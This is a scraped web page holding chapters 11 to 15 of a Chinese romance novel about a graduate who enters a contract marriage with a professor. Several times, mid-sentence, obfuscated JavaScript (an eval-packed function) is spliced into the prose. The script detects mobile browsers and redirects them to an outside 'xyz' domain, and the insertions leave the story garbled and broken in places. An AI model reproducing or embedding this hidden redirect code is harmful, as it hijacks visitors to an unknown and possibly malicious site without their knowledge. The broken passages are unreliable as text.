岑康宁打开后发现,他昨晚用红字提出的意见大多数被增加进了这一版的合同里。 只除了一条。 “祁教授,第五页第五行,我记得我的意见是每周一次。” 祁钊应该是看错了,给他改成了每日一次。 岑康宁很快诚恳表示:“我不需要那么多次数的,一周七天里只要有一天我可以使用洗衣机和阳台晾衣架就行,我会把我的衣服积攒起来一起洗。” 对于这一点岑康宁其实深有感触。 大学前在黄家,因为家里人口过多,一台洗衣机和一个晾衣架完全不够用。 有关于自己什么时候可以洗衣服,什么时候可以晒衣服,总是会引起争吵。 岑康宁很快学会手洗自己的衣物。 也学会在使用甩干桶后,将衣服挂在床头的架子上,等它阴干。 所以这回能在跟祁钊的同居生活中争取到一周一天时间,岑康宁已经非常满意。 但祁钊回:“首先,我有两台洗衣机,两台烘干机。” 过了一会儿,祁钊又回:“我爷爷养的小狗如果第一天穿过的衣服没有洗又给它穿,就会生气。” 岑康宁:“?” 什么意思。 讽刺他活得不如狗是吧? 岑康宁觉得自己被骂了,有些生气地将手机倒扣在桌上。气了好一会儿,直到有人端着餐盘过来,示意他拼个桌。 岑康宁深吸一口气站起身来,一边推门离开一边给祁钊回复。 “既然有两台洗衣机,那就一天一次吧。” 祁钊回:“1。” 然后又将一模一样内容,只是将标题改成“结婚协议最终版”的PDF发给岑康宁。 岑康宁还有些气他把自己跟家里的小狗作对比,故意没加表情包,也冷冰冰地回了个1。 祁钊没什么反应。 岑康宁忍不住去贴他的冷脸:“那祁教授,这事儿就这么定下来了?” 祁钊:“嗯。” 定下来了。 然后他的生活就能又恢复常态。 岑康宁说:“好,那我跟家里说一声。” — 对于岑康宁即将结婚这件事。 最高兴的人无疑是黄光远。 岑康宁回家收拾行李的每一分每一秒,小胖子都在自己的床上兴奋地打滚。 “啊啊啊,我要有电脑了!” “我要买黑悟空,我同学他们早都玩通关了,就我一个人还没摸过。” “参见大圣!呀——” “王者能不能用电脑登录啊宁哥?” 岑康宁收拾行李的手指微微一顿,用听不出情绪的语调说:“都有电脑了你还玩儿王者?” 小胖子理直气壮:“那当然了,我马上就能星耀了。对了宁哥,你气消了没?消气了把号给我玩呗?你都结婚了,以后肯定不需要玩游戏了。” 啪—— 岑康宁将收拾好的行李箱一扣。 “错。” 他冷酷无情:“就是因为结婚了才能好好玩游戏。” “啊?” “为什么啊!”黄光远困惑的声音从背后传来。 岑康宁没理,拎着行李箱拧开了门,将行李箱推了出去。 客厅里并排坐着李宝娟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824585|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和黄军。 夫妻俩一个脸上带着难以掩饰的喜色,一个脸上多少带着些愧疚。 “小宁。” 黄军看到岑康宁手中的行李箱,叫住了岑康宁,愧疚地问他:“怎么这么着急就搬走?这不是还没正式结婚吗?” 李宝娟偷偷掐了黄军一下,说:“你懂什么?早点去早点培养感情。” 岑康宁笑笑:“娟姨说的对。” 他没想解释自己只是把行李搬去宿舍。 曹帅走后,宿舍空出一个床位,正好拿来放岑康宁的行李。 黄军还有些讪讪地,搓着粗糙的手掌:“小宁啊,其实……” “其实家里还是很舍不得你的。”李宝娟打断黄军的抒情,语气冷静:“不过你也大了,知道什么对你才是最好的。在家里多住几天倒是不碍事,万一婆家那边不高兴怎么办?” “他们不会不高兴的。” 岑康宁感到自己僵硬扯着嘴角,不受控制地冷嘲热讽: “花了大价钱好不容易娶到的媳妇儿,怎么可能因为这点小事就不高兴。” “你怎么能这么说?” 李宝娟好像觉得自己被影射了,不太高兴。 但她还想说什么,却被黄军拽住了。 黄军就算再迟钝也能感觉到家里的氛围不对劲,身为一家之主的他不能让人在家里吵起来。 于是他说:“算了,那小宁就先搬过去吧。走,叔叔送你。” 岑康宁自然又是拒绝。 他说自己已经叫好了滴滴,还用了优惠卷,取消的话优惠卷就浪费了,而且还会罚两块钱。 黄军一听要罚钱,立马表示那就算了,你自己路上注意安全。 岑康宁点了点头,笑着跟夫妻俩说再见。 然后他拎着自己的行李箱,看上去似乎非常寻常地走出了黄家那道红色的防盗门。 吱呀地一声后。 门在他身后被关上。 一切看上去都是那样的寻常,就好像每个岑康宁离开这里去学校的周天傍晚一样,天色昏暗下来,小区里吵吵闹闹,到处都是小孩儿疯跑还有老人扎堆打麻将。 岑康宁的脸上并没有太多可以称作是悲伤的情绪。 但没有人知道,十六年前,当岑康宁第一次站在那道门前,心里想的其实是,我又有家了。 就如同十六年后,同样也没有人知道。 岑康宁做出嫁给一个陌生人的决定,仅仅是因为看到对方提供的合同条款中显示,他将获得深夜留宿权。 岑康宁不后悔,真的。 且不说深夜留宿权对当时正在麦当劳过夜的他真的很具有诱惑力;只单单说得到一份P大图书馆编制这件事,他也完全不亏。 工作那么难找。 生活如此艰难。 他想轻松地活着,有错吗? 没错吧。 岑康宁告诉自己。 没人规定岑康宁必须要靠自己勤劳的双手赚钱。 并且那份长达20页的婚前协议岑康宁也仔细看了,如果它果真具有法律效力的话,岑康宁就不是亏不亏的问题了,而是赚多少的问题。 P大图书馆事业编制。 两百平平层居住权,单独的卧室套间。 祁钊甚至还愿意给他一个月五千的生活费补贴作为精神损失费。 这些条款每一个拿出来在婚姻里都是堪称王炸的条件,竟然梦幻般地一齐出现在同一个合同里。 岑康宁差点以为自己在做梦。 这种好事,怎么会落在他头上呢? 但很快他意识到,既然落在他头上了,那就证明他值得。 过去二十二年来的辛苦仿佛终于在他使用电子签名时画上句号,岑康宁心想,管它呢,他就同意了,怎么滴? 反正只是想要编制的关系。 大不了就离。 不过话又说回来……因为结婚而得到的编制,离婚还能保留吗? 12. 第 12 章 岑康宁觉得这是一个非常严肃的问题。 于是立马发微信给祁钊。 祁钊这次没有秒回,可能是在做实验,也有可能是在开组会。 五分钟后祁钊给他转发了个聊天记录。 岑康宁才知道原来他是去问P大主管人事的副校长了。 意识到这个事实后岑康宁顿感压力,因为他忽然意识到,P大的副校长,那可是正厅级领导。 正厅级什么概念? 等于说是一个地级市的市长,或者说省级单位的正厅长。 岑康宁这辈子都只在电视里见过这么大的领导,从没想过有朝一日自己的工作问题竟然能得到对方的亲自解答。 虽然对方说了跟没说一样。 “一般情况不会,特殊情况说不准。” 岑康宁揣摩着这番话的含义。 不等他揣摩个结果出来,祁钊给他翻译:“意思是我不走就不会。” 岑康宁:“!” 岑康宁:“那大佬你会走吗?【星星眼】【崇拜】。” 祁钊:“不会。” 岑康宁唇角弧度才刚刚上扬,祁钊下一条消息发了过来。 “要走就带你一起。” 岑康宁:“……” 这就是大佬的自信吗? 想了想,岑康宁给他发去一张T大的食堂截图,斟酌语言道:“我听说,T大食堂挺不错的,好吃不贵。” 城市的另一端。 P大副校长办公室内。 祁钊冷静放下手机,看了年逾半百的副校长一眼。 “怎么了?你媳妇儿说什么了?” 副校长被看的莫名其妙。 “没事。” 祁钊抬抬眼镜,道:“他只是希望贵校食堂能改进一点。” 副校长:“……” — 岑康宁还不知道自己的话被传成了这样,更不知道自己还没上班就在领导眼里人设变成了爱吹枕头风的祸国小娇妻。 他拎着行李箱轻松上了公交,然后又倒地铁。 回学校的一路上,心情都很不错。 直到辅导员一通电话打过来。 “岑康宁,你到底什么时候能交三方协议?” “这个……” 岑康宁沉默了会儿。 这年头,大学生毕业就业形势差,到底还是影响到了辅导员。大一时脾气还很温和,说话犹如春风拂面的辅导员,被上级催就业率催三方的压力逼成了春雷滚滚。 “咱院可就你没交了,你是不打算就业了还是怎么的?我跟你没仇吧?啊?岑康宁!” 大嗓门没开扩音都聒地岑康宁耳朵疼。 岑康宁身边几个路过的大学生更是像没由来被踹了一脚一样,赶紧加快脚步远离。 岑康宁将手机拿开几分,倒也没生气。 毕竟现在已经四月中旬了。 眼看着就要四月底,然后到五月。 毕业的时间越来越近,岑康宁还没找到工作,对辅导员来说无疑是一个天塌了般的事实。 毕竟他们班总共就三十个人。 只要岑康宁一个人不签三方,就业率就瞬间变成百分之百分之九十六。 而如果岑康宁没猜错的话,今年校领导给他们班的指标至少是百分之九十八。 这不是难为人吗? 难道一个班三十个人。 一个都不准“家里蹲”了? 所以岑康宁没生气,他知道辅导员也是顶着很大的压力。从他放弃保研到现在,导员给他打了不下十个电话了。 除了催他交三方以外。 其中有两个电话是告诉他某地方有招聘会,招呼他赶紧去。 虽然招聘会最后也没用上,但岑康宁还是挺感激的。至少这段时间里,还算是有人在关心他。 于是他想了想,告诉导员:“我找到工作了。” 果然电话那头嗓音瞬间变得惊喜:“真的啊?老师就知道你能行!” 岑康宁笑道:“刚找到不久,所以还来得及没签三方,可能要过几天交,可以吗?” 辅导员说:“可以是可以。不过康宁你确定找到的地方靠谱啊?不签三方别把你鸽了。” 岑康宁道:“应该靠谱吧,至少比刘老师那边儿靠谱。” 辅导员:“……” 提起刘同虎,辅导员忽然就有了一种做贼心虚的感觉,也不敢再多问了,匆匆忙忙说了句工作加油尽快签字就挂断了电话。 岑康宁觉得好笑。 他只是顺口一提,也没有连坐追究的意思,导员怎么就慌了呢? 不过算了,这件事在他身上早就过去了。他现在关心的事情和辅导员其实一样,就是什么时候能签三方,可以将编制定下来的问题。 但岑康宁没想到的是,拿到编制,还得先领结婚证。 “没有结婚证办不下来。” P大校人事处主任对岑康宁诚恳道。 宽敞空旷的人事处主任办公室,茶香四溢,温度适宜。 姓王的主任一点官架子也没有,言辞非常谨慎,从面前的文件架里抽出一份显然是才刚刚打印出来不久的红头文件。 “不好意思啊岑先生,希望您能理解。毕竟这项政策是针对教授配偶的,如果您还不是法律意义上的法定配偶,我们这边儿也无法通过文件。” 岑康宁微微蹙起好看的眉心,手指下意识攥紧手中的三方协议。 “我知道了。” 他说。 王主任露出抱歉的笑容:“实在是不好意思。” “没关系。” 岑康宁道:“你们按照规章制度办事,应该的。” 人事处主任见他是真的没生气,这才松了口气,说:“不过您放心,只要您把各种证明都提供过来,我这边儿可以马上帮您办理。” “好。” 岑康宁点点头,说:“那这次我就先走了。” “好,您慢走岑先生。” 人事处主任毕恭毕敬地送岑康宁离开,态度堪称谄媚。岑康宁当然不会真的觉得对方是很尊敬自己的缘故,因为刚一出门他就看到了真正被尊敬的教授本尊。 祁钊正倚靠在一辆特斯拉Cybertruck上。 他今天穿了一件深灰色的长风衣,内搭白色衬衣,米色休闲长裤。一米八七的身高比例惊人,大长腿微微弯曲也显得格外潇洒有型。 岑康宁出来的时候,他正拿着一个pad,低头专心致志地看着什么。 不过岑康宁刚一走近。 祁钊便收起了pad。 “出来了。” 祁钊道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824586|158790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 岑康宁点头:“对。” “谈得怎么样?” 祁钊又问。 岑康宁想了想:“还挺不错。” 除了三方的问题没有解决,其余所有的困惑,包括各种待遇问题,假期问题他都得到了答案。 总体来说,这份工作比岑康宁想象的还要好,还要悠闲。 祁钊没什么表情点头:“好,那上车吧。” 岑康宁下意识抗拒:“你要送我回学校吗?不用,我……” 话没说完只听砰的一声车门被打开。 祁钊说:“不是送你回学校。” 岑康宁无奈上了车,系好安全带:“那是?” “去领证。” 祁钊道。 岑康宁呼吸顿时停滞半拍。 显然他从身体到心灵都还没准备好步入结婚状态。 然而下一秒,不等他提出反对意见,最快可以做到百公里2.7秒启动速度的Cybertruck轰然离开原地。 岑康宁:“……” 不是。 至少提前说一声,他好换个衬衫啊! 他低头看向自己身上早晨随便从柜子里一扯扯出来的卫衣,当时也没觉得有什么,只是去一趟人事处签个三方而已。 他也没觉得会是人事处主任亲自接待自己。 岑康宁到底还是缺乏一些社会经验,把自己当成大学生,浑然不觉其实自己距离毕业只剩下半个月时间。 但有一说一。 岑康宁是缺,祁钊总不缺吧? 他都29岁了。 岑康宁忍不住看向隔壁驾驶座上正在专心致志开车的男人。 今天其实算是两人第二次见面,但第一次见面的时候太匆忙也太尴尬,所以岑康宁其实没机会好好观察他的长相。 今日又见。 岑康宁才发现原来祁钊比想象中年轻好多。 完全不像一个29岁的男人,看上去至少比郭振年轻十岁(振哥对不起)。 而且怎么说呢? 像现在这样看着祁钊的侧脸,岑康宁觉得自己忍不住要开始嫉妒了。 为什么造物主这么不公平。 给了一个人无与伦比头脑的同时,还要赋予他这样优越的外型,这个男人就连侧面的下颌角弧度竟然都是完美的。 更重要的是……他今天身上的衬衫可真好看。 岑康宁酸溜溜地想,到时候两人合拍结婚照,自己铁定被艳压。 所以到底要不要提出自己想换件衣服的要求呢? 岑康宁犹豫。 这时,刺啦—— 车忽然停下。 还在犹豫的岑康宁如梦初醒:“到了?” 民政局怎么会这么近! 祁钊眼神看向车窗外:“到了。” 岑康宁顺着他的眼神向外看,只见视线的尽头处赫然是一家阿玛尼,阳光下银灰色的logo低调奢华,折射出昂贵的光芒。 岑康宁:“?” 祁钊松开安全带,说:“这是我经常买衣服的地方。” 岑康宁:“……” 祁钊:“你刚刚一直看我的衬衫,不是想要链接?” 岑康宁:“……谢谢你,但我其实更想要换季打折只要99元的优衣库,我自己有链接。” 13. 第 13 章 也许是觉得优衣库实在太远了。 又也许是祁钊认为,这两天的优衣库并不在换季。 总之祁钊最后还是带着与阿玛尼格格不入的岑康宁走了进去,然后飞快,在十分钟以内,给岑康宁刷卡买下了一件看起来平平无奇实际上也没多特别的白色衬衫。 不过岑康宁承认。 上身效果的确比自己99买的要好。 价值一万三千元不打折的奢侈品衬衫裁剪得体简约,中和了岑康宁身上那股子悠闲散漫气质的同时,恰到好处勾勒出他劲瘦的腰线。 宛如灰姑娘的魔法。 阿玛尼销售在一旁连连夸赞,眼神里迸射出可以命名为惊艳的目光。 但人不会两次踏入同一条河流。 岑康宁不会第二次跌入资产阶级陷阱。 他果断拒绝了销售说要给他再挑一条裤子和外套的建议,并对祁钊表示:“可以了,我们走吧。” 祁钊站在原地不动。 销售立马很有眼色的上前:“祁先生也觉得可以给夫人再挑两件吧?” 岑康宁正要对销售“夫人”两个字提出严重抗议。 祁钊看了岑康宁一眼,说:“走吧。” 岑康宁顿时松了一大口气。 倒不是他想给祁钊省钱,主要是他分得清什么叫一次性透支和分期付款。 如果不是时间紧迫。 他甚至连身上这件衬衫都不想买。 虽然的确是挺好看的。 岑康宁看了眼镜子里的自己,满意地想,这回应该不会被艳压了。 — 两人重新上车。 Cybertruck光速启动。 但不知为何,分明是一模一样的场景,岑康宁却忽然感觉没那么焦虑了。 也许是身上的衬衫给了他些许信心。 前所未有的昂贵衬衫被祁钊毫不犹豫刷卡买下,包括进店试衣,出店走人。 流程迅速地不可思议。 简直和他过往的购物体验天差地别。 不需要为了五毛钱和菜市场老板来回拉扯,更不用在衣服店内上演一出“走,去别家看看”“其实我也没多喜欢”的虚假戏码。 购物就是购物,简单直接。 就好像祁钊的结婚协议一样,权责分明。 岑康宁不由得想,要是婚后的生活也能像今天买衬衫一样简单,其实,结婚也没什么大不了的吧? — 车窗外城市街景飞速略去。 转眼,民政局的大门出现在岑康宁眼前。 今天不是什么特别的日子,520还要再过几天,因此民政局门口没有排长队,只稀稀拉拉站着几对儿男男女女。 祁钊应该是提前预约过。 给工作人员提供好二维码以后,很快就轮到了两人进去。 结婚领证的程序比岑康宁想象中简单,无非是填表,照相,签字,然后哐当一声,工作人员压下钢印。 “好了。” 那工作人员道。 说着递给两人一人一个大红的本子,本子封皮上印着烫金的结婚证三个大字。 只是看着那三个大字,岑康宁忽然有些恍惚。 好了? 这就好了。 他把自己就这么简简单单嫁了出去,以后个人信息婚姻状况那栏,他就是已婚,如果因为意外住院抢救,签字的人也将变更为他此时的伴侣。 对此刻的岑康宁来说,显然他还没意识到这个身份的转变对自己意味着什么。 此时一切都是不真切的,悬浮的。 他自以为很理智其实非常混乱,自以为很清醒,其实极度眩晕。 直到出了民政局,冷空气扑面而来,冷风吹得民政局门口的树簌簌作响。 被丢失已久的理智似乎短暂回笼。 岑康宁停住脚步,突然问祁钊:“祁教授,我可以问你为什么要结婚吗?” 祁钊也停住脚步,但他的脸上却没有像岑康宁一样浮现出类似于茫然的情绪。 他很冷静,一如既往地。 “不觉得现在问有些晚了吗?” 岑康宁眨眨眼,说:“不晚,谁说晚了?如果万一不小心问出什么重大缺陷,这不还能转头离婚么?” 祁钊很轻地笑了声:“你是不是忘了离婚冷静期。” 岑康宁:“……” 他懊恼地一拍脑袋:“是哦,我怎么把这事儿忘了。” “没关系,我可以提醒你。” 祁钊快速道:“任何时候你需要离婚,请立刻在民政局小程序进行抢号申请,申请成功后一个月,我们就可以履行离婚手续。” 岑康宁:“不是这个意思,我只是……” “我知道。” 祁钊打断他,又重复一遍,声音冷冰冰没有感情:“我知道。” 他又说:“每个人都有自己不想跟其他人分享的情绪,理由,意义。我有,你也有。” 岑康宁沉默地垂下眼睫。 祁钊没有说更多。 他确认以岑康宁985的第一学历应该听得懂这番话的含义,所以最后只用一句话来总结: “任何时候你想要离婚,不用担心,请告诉我。” 想了想,祁钊又补充: “我可以写一个抢号程序,确保你最快速度度过离婚冷静期。” — 五月初的A市天气还很多变。 前一天都二十度了,隔日又疯狂降温,只有十度。 猝不及防地降温使得院团委办公室里一大帮子老师学生都感冒了,不大不小的房间里不停地有人擤鼻涕打喷嚏,时不时还传来一股999感冒灵的气息。 听到敲门声的时候,文英就正在擤鼻涕。 正思量着要不要让学生助理帮自己也冲一包感冒灵。 笃笃笃—— 三声规律的敲门声响起。 “进。” 文英带着浓厚鼻音道。 岑康宁走了进来,手里还拿着一个文件袋,文英顿时觉得自己感冒全好了。 “康宁,来交三方协议?” 岑康宁笑着,露出浅浅的梨涡:“是啊,老师,麻烦你了。” 文英连忙摆手:“不麻烦不麻烦,只要你们都能一个个顺利找到工作,老师做什么都可以。” “老师辛苦了。” 岑康宁说着上前,将昨天刚签好的三方协议拿出来,递给文英。 “您看看,有哪里不对吗?” 文英接过来细心检查,说:“没有,都好着。”但很快她眼神落在对方的单位名称上,瞳孔兀地张大。 P大? 真的假的? 文英呼吸都仿佛暂停了一般。 “康宁,你要去P大工作了啊!” 她惊讶开口。 话音刚落岑康宁感觉四面八方的眼神投掷了过来,他无奈朝文英使了个眼神,小声说: “老师,您低调点儿。” 文英回过神来,眼神里流露出懊悔,也压低了音量:“不好意思啊康宁,老师就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在得知岑康宁入职P大图书馆后。 她就再也没敢随便问东问西。 “挺好,挺好,青出于蓝而胜于蓝。”文英眼里不无羡慕地拍着岑康宁的肩膀,干巴巴说:“年轻人,好好干。” 岑康宁立马见缝插针说谢谢,然后说那老师没事儿我先走了。 文英看起来其实应该还想跟岑康宁说两句,不过转念又想到岑康宁的P大图书馆,干笑着赶紧让人走了。 岑康宁如获大赦,脚步飞快离开办公室。 他走得太快,以至于都没认出来在他后脚进办公室大门的正是他的舍友,何明博。 而何明博倒是认出他来了,一进办公室就直奔文英的工位。 “文老师,岑康宁来了,是交三方吗?” 文英从方才的震撼中还没回过神来,猝不及防被这么问,一时忘了防备:“嗯是。” 说完她才意识到坏菜了。 怎么是何明博。 何明博和岑康宁的矛盾院里不能算人尽皆知,可文英肯定清楚。 文英知道岑康宁肯定不愿意被何明博知道自己工作的情况,但没办法,这不正赶上了吗? 而且文英也不想得罪何院长。 反复思量几回后,文英想,要不还是告诉何明博,让他知道岑康宁也不是什么好惹的,做事说话收着点儿,也算是卖何院长一个人情。 她便实话实说:“康宁工作签地挺好的。” “哪个公司?” 何明博问。 “不是公司。”文英道:“是P大,P大图书馆。” 14. 第 14 章 何明博忘了自己是怎么走出的办公室。 魂不守舍地? 若无其事地? 还是心事重重地。 他不知道,因为他此刻已经完全无暇顾及。 岑康宁的三方合同带给他的打击太大,以至于整个世界在他眼中失去了色彩。 他走出门,甚至忘记了自己是为什么要来办公室。 可怎么会? 岑康宁怎么会签到P大去了。 何明博的眼睛里冒出不甘心的妒火,但事实上他也不知道这种情绪该不该称之为嫉妒。 和其他人不一样,何明博对岑康宁的感情很复杂。 一开始的时候,何明博其实并不想要针对岑康宁,甚至第一次见面的时候,他对岑康宁的感觉还很不错。 那是大一刚开学时班里组织的破冰活动。 何明博到晚了,一直到活动快要到尾声才进来。 进门以后何明博就发现大家对他的态度很一般,冷冷淡淡地,像是没有他这个人一样。 只有岑康宁不一样。 岑康宁愿意让他坐自己身边,认出他是同一个宿舍的舍友。岑康宁给他留了座位,留了座位上的矿泉水。 岑康宁还很亲切地跟他搭话,带他一起玩游戏。 何明博以前从不喜欢这种无聊的社交活动,但那天晚上他感觉很好,整个人轻飘飘地,像是踩在云朵上一样。 直到他对岑康宁表白。 “岑康宁,我们好吧。” “什么?” “我说,我们好吧。”怕岑康宁没听懂,何明博还不厌其烦,解释了一遍:“就是谈恋爱,在一起的意思。” 结果岑康宁是怎么回复他的呢? 其实何明博已经有些忘了。 无非是“不好意思,我不是同性恋”;又或者是“抱歉,我只把你当兄弟。” 何明博怒火中烧。 何明博是一个很骄傲的人,他自己也知道自己的脾气,平时不屑与人交往。 岑康宁是他为数不多有好感而且主动想要靠近的人。 但为什么,岑康宁拒绝了他? 而且拒绝他以后,何明博很明显能感觉到他在宿舍里避着自己走,非但如此,他还主动跟其他舍友更多的打好了关系。 骄傲如何明博,之后自然不会再给岑康宁什么好脸。 可岑康宁竟然也没有要主动修复两人关系的意思。 为什么? 他不喜欢他? 他讨厌他。 不知为何,这个事实让何明博无法接受。他一直很想让岑康宁重新再认识自己一遍,奈何岑康宁一直都很忙,两人总是因为各种各样的机会错过。 直到大四快毕业。 他爸有一天问他想不想去刘同虎的课题组。 何明博知道,自己机会来了。 何明博心想,这么一来,你总该看我了吧? 但很遗憾,岑康宁的目光仍是没有在他身上过多停留。那双漂亮的,仿佛总是饱含着感情的桃花眼,比起看他,更愿意看手中的杂粮煎饼。 于是,何明博又一次地出离愤怒。 他心想,很好,你不看我是吧?那我倒要看看你失去了保研机会以后,能过成什么样。 何明博知道工作不好找。 更知道事到临头保研被鸽后,岑康宁大概率放弃保研。 他几乎是怀着一种恶意凝视着岑康宁,等着看岑康宁最后的下场,直到五分钟前,他看到了岑康宁的三方协议。 — 草长莺飞,花团锦簇。 五月底的Q大无疑是漂亮的。 才刚下过雨的第二天,校园里的所有植物都被洗刷一新,花瓣和叶子上沾满了露水,空气里满是泥土芬芳的气息。 每一个校园角落里。 穿着学士袍的毕业生们三五成群,叽叽喳喳,手里大多还拿着专业相机。 “来啊宁宁,我想要在这儿跟你合影。” 一女生招呼路过的岑康宁道。 岑康宁正要回宿舍收拾行李,见状摆手拒绝,打了一个喷嚏后说:“我没穿学士服呢。” 那女生道:“就是要没穿才好合影,快来快来,我今天必须要跟你合影然后发朋友圈气死我前任。” 岑康宁:“……好吧。” 既然女孩儿都这么说了。 岑康宁也不好拒绝。 他上前,姿势僵硬地和女孩儿合影。女孩儿倒也不嫌弃他僵硬,自顾自摆出许多造型,越来越开心。 “好了好了,宁宁你忙去吧,谢谢你。” 岑康宁松了口气,然后又打一个喷嚏:“不用谢,小事儿一桩。” 女孩儿笑意更深,看自己照片去了,同他挥手告别。而岑康宁的目光则有片刻落在女孩儿学士帽“毕业快乐”四个字,一直到离开,眼前仿佛还是那条跃动的黑色帽穗。 要毕业了。 岑康宁想。 从未有一刻毕业的氛围如此浓郁过,入目可及的每一个人,每一个细节,仿佛都写着离别。 扪心自问,岑康宁其实对Q大没有特别深刻的感情。 他太忙。 忙于兼职,忙于学习,忙于赶路。 以至于大学四年,岑康宁都还没时间在Q大的校园里好好走一遍。 他的活动半径几乎只停留在宿舍,教学楼,以及距离宿舍最近的一个食堂里。 但这并不妨碍此刻的岑康宁感到一种悲伤。 他想,又要离开了。 似乎从出生开始,岑康宁就在不断地经受着离别。 一岁,同父母离别。 父母出村打工,将才一岁的他留给奶奶照顾。 三岁,奶奶去世。 父母匆忙地回家一趟,奶奶临终前将他托付给大伯。 五岁,快要上小学了,岑康宁终于被接回城里。 可好景不长,一年后父母在一场工地事故后和他天人两隔,岑康宁被当时工地的包工头,黄军收养。 大伯和大伯母叮嘱他要记得叫爸爸妈妈。 六岁那年岑康宁站在黄家大红色的防盗门口。 以为自己也许终于要有家了。 直到一个月前岑康宁拉着行李箱离开黄家,他知道自己其实从未有过。 而那天过后,仅仅是短暂的一个月后。 岑康宁便再度被迫直面离别。 这一次是他呆了四年的大学,住了四年的宿舍,还有相遇相知了四年的舍友同学老师。 一张张面孔或亲切熟悉或陌生冷淡,在岑康宁的生命中不由分说的路过,然后又不由分说的离去。 所以,到底什么是永恒的呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“惯的你,不去非洲打算去哪儿?” “当然回A市啊,老六我还有老五都在这儿,多方便?” “也是哦。” 老大从床铺上探出脑袋,露出一个贼兮兮的笑容来:“那行,等休假我就来找你们,你们轮流请我们吃饭。” “靠——” 被套路的老二登时将刚刚被扔下来的枕头又扔了回去。 宿舍热闹非凡,岑康宁收拾行李的心情也好了不少,一边收拾行李一边跟舍友们打趣。 离别的愁绪仿佛从未降临在这帮少年身上。 直到咯吱一声,宿舍门被推开,何明博走了进来。 宿舍安静了半秒。 半秒后所有人继续低头忙自己的,没一个人搭理何明博。何明博也知道自己不受欢迎,不过他今天是有事才回来的。 “刚刚在楼下遇到班长了。” 何明博顿了顿,忽然开口道。 “班长说什么?”宿舍老大兼任舍长忍不住问。 何明博低着头,刻意忍住自己去看岑康宁的欲望,说:“没什么,就是让我告诉大家,晚上班级聚餐,希望大家都到。” 15. 第 15 章 毕业聚餐的这一天终究是来了。 所有人心里都清楚,过了这一天,哪怕大家嘴上说着以后常联系,但事实上,联系也好见面也好,机会都变得很渺茫。 大学毕业不比高中。 出了社会以后,除了个别关系非常好的朋友会联系,更多的时候,所有人躲在微信里,偶尔靠着朋友圈刷刷存在感。 甚至再过上个两三年。 朋友圈点赞也没了,结婚份子钱也懒得出。 彼此淹没于茫茫人海中,恰如所有人当年在茫茫人海中相遇。 也因此原因,几乎没人会拒绝毕业聚餐,除非是真的有重大的要紧事急需处理。 而对316的男生们来说。 参加聚餐的理由还更多了一条—— “靠,这回去的竟然是小牧羊,那我必须去。” 小牧羊。 大学城里人尽皆知,人均一百元的大学生顶配自助餐厅。 牛羊肉新鲜现切,披萨蛋糕炸鸡无限量供应,更有啤酒可乐供君挑选。 一经出现后,迅速成为了所有大学生心中最牛的自助圣地,常年需要排队预约。 而这回班长有心,不仅提前预约好,而且还大手一挥:“班费出钱,大家随便吃喝。” 这还怎么拒绝? 就连岑康宁也不想拒绝,他果断飞速收拾好行李寄走,中午饭也没吃,只用一个包子垫垫肚子,静候晚上饕餮盛宴。 — 晚上七点。 小牧羊二楼。 21级土木一班齐聚一堂,30个学生无一缺席。 班长深感欣慰:“还是小牧羊的号召力强啊,这么多站地铁大家都愿意来,上回我在东门外摆席,竟然就只到了10个。” 副班长在旁边泼他冷水:“确定不是大家不想让你贪污班费吗?” 班长恼羞成怒:“我是那种人么!要有人没来,我肯定把钱给他们发回去。” 副班长:“滴滴,v我100先看看实力。” “你敢——”班长做出刀抹脖子的表情,一帮子男生女生登时在座位上笑得东倒西歪。 “好了好了,不废话,咱先拿菜吧,先说好啊,今晚除了女生,不醉不归!” “行,不醉不归!” 男生们齐声附和。 一旁的自助餐经理见状抹了把汗,暗自盘点今晚店里的啤酒库存还够不够用。 然而只见身侧一个身穿白色短袖浅蓝色牛仔裤的少年一猫腰,带着一大盘炒饭炸薯条披萨和一杯可乐走到了自己的座位上。 经理:放心了。 有他在,绝对亏不了。 岑康宁肚子饿了,打算先拿点儿东西垫垫肚子。他本来是想去拿肉的,可走到熟食区的时候忽然就有些走不动道。 披萨,看着好香。 炸薯条金黄酥脆,旁边还放着三种酸度的番茄酱,也好香。 等岑康宁回过神来的时候,他的盘子里就已经成了眼前这幅模样。而果不其然,当他把这一大盘子端上桌的时候,立刻遭到周围人毫不留情面的嘲笑。 “不是,岑康宁你来自助就吃这个啊!” 老大惊呼。 岑康宁摸摸鼻子,有些不好意思:“那个,我先填填肚子。” “哪有人像你这样填肚子啊,待会儿吃饱了怎么办?”坐在对面的一个女生神神秘秘说:“我听说自助餐里的炒饭可都是加了压缩饼干颗粒的。” 岑康宁:“啊?” 